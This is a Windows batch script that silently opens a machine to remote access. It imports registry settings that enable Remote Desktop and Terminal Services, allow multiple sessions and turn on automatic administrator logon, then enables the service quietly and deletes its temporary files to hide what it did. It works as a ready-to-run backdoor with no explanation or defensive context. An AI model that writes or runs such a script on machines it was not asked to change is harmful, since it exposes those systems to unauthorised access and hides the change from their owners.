@echo off echo Windows Registry Editor Version 5.00> %TMP%\TS2.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>> %TMP%\TS2.reg echo "Start"=dword:00000002>> %TMP%\TS2.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> %TMP%\TS2.reg echo "AllowTSConnections"=dword:00000001>> %TMP%\TS2.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> %TMP%\TS2.reg echo "fDenyTSConnections"=dword:00000000>> %TMP%\TS2.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> %TMP%\TS2.reg echo "fAllowToGetHelp"=dword:00000001>> %TMP%\TS2.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>> %TMP%\TS2.reg echo "AllowMultipleTSSessions"=dword:00000001>> %TMP%\TS2.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>> %TMP%\TS2.reg echo "AutoAdminLogon"="1">> %TMP%\TS2.reg %windir%\regedit.exe /S %TMP%\TS2.reg echo [Components] > %TMP%\bootlog~.txt echo TSEnabled = on >> %TMP%\bootlog~.txt sysocmgr /i:%windir%\inf\sysoc.inf /u:%TMP%\bootlog~.txt /q DEL /Q %TMP%\TS2.REG DEL /Q %TMP%\bootlog~.txt exit